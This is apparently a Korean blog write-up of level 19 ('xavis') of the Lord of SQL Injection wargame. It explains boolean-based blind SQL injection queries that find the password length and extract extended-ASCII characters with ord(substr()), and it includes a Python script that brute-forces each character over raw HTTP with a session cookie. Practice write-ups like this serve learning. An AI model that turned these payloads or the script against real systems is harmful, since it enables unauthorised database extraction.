[los - SQL injection] xavis ( 19단계 )
- ascii -> ord() 사용
- 유니코드를 사용
[ 풀이과정 ]
xavis 문제는 pw가 아스키코드 문자에서 하나도 나오지 않아서 시간이 많이 걸렸던 문제이다...
이때까지 아스키코드로만 잘 풀다가 나오지 않아서 고생 좀 했다..
pw가 영문과 숫자가 아니라는게 되니 이것저것 생각하면서 찾아보다가 아스키코드 확장 문자를
찾게 되었다.
아래 있는게 아스키코드 확장표이고 128~255까지 사람이 읽지 못하는 문자이다..
select id from prob_xavis where id='admin' and pw='' or id='admin' and length(pw)=40 #'을 이용해서
pw의 길이가 40인걸 알아냈다..
그리고나서 전에 만들었던 자동화 프로그램으로 pw를 추출하는 쿼리를 만들어 추가시켜 돌렸지만
아스키코드값으로 범위를 두고 했을때는 아무것도 나오지 않았다...
하지만 아스키코드 확장값으로 범위를 두고 하니까 pw가 하나씩 나왔고
11부터는 나오지가 않았는데 확인해보니 null 문자로 되어있었다..
select id from prob_xavis where id='admin' and pw='' or id='admin' and ord(substr((select pw),4,1))=176 #'
결국 찾은 10자리의 문자를 pw에 입력했더니 문제가 풀렸다....
19단계 클리어~~
xavis.py
from socket import *
from struct import *
for i in range(1,9):
ch = 120
while True:
#if 58 <= ch <= 64: ch + 1; continue
#if 91 <= ch <= 96: ch + 1; continue
if ch > 255: break
sock = socket( AF_INET, SOCK_STREAM )
sock.connect( ('104.27.174.42', 80) )
request_header = 'GET /xavis_fd4389515d6540477114ec3c79623afe.php?id='admin' and pw='\' or
id=\'admin\' and '
request_header += 'ord(substr((select pw),'
request_header += str(i)
request_header += ',1))=' + str(ch) + ' %23'
request_header += ' HTTP/1.1\r\n'
request_header += 'Cookie:__cfduid=d5e9e8bb92276949665b5620612504c8b1506175186;
PHPSESSID=mm7o8auagp6bjoq7nc2d06uum7\r\n'
request_header += 'Host:los.eagle-jump.org\r\n'
request_header += '\r\n'
sock.send( request_header.encode() )
response = sock.recv(65535).decode()
if 'Hello admin' in response:
print( chr(ch), end='' )
sock.close()
break
ch = ch + 1;
sock.close()
'워게임 > LOS' 카테고리의 다른 글
[los - SQL injection] dragon ( 20단계 ) (0) | 2017.09.24 |
---|---|
[los - SQL injection] nightmare ( 18단계 ) (0) | 2017.09.24 |
[los - SQL injection] succubus ( 17단계 ) (0) | 2017.09.24 |
[los - SQL injection] zombie_assasin ( 16단계 ) (0) | 2017.09.24 |
[los - SQL injection] assasin ( 15단계 ) (0) | 2017.09.24 |
댓글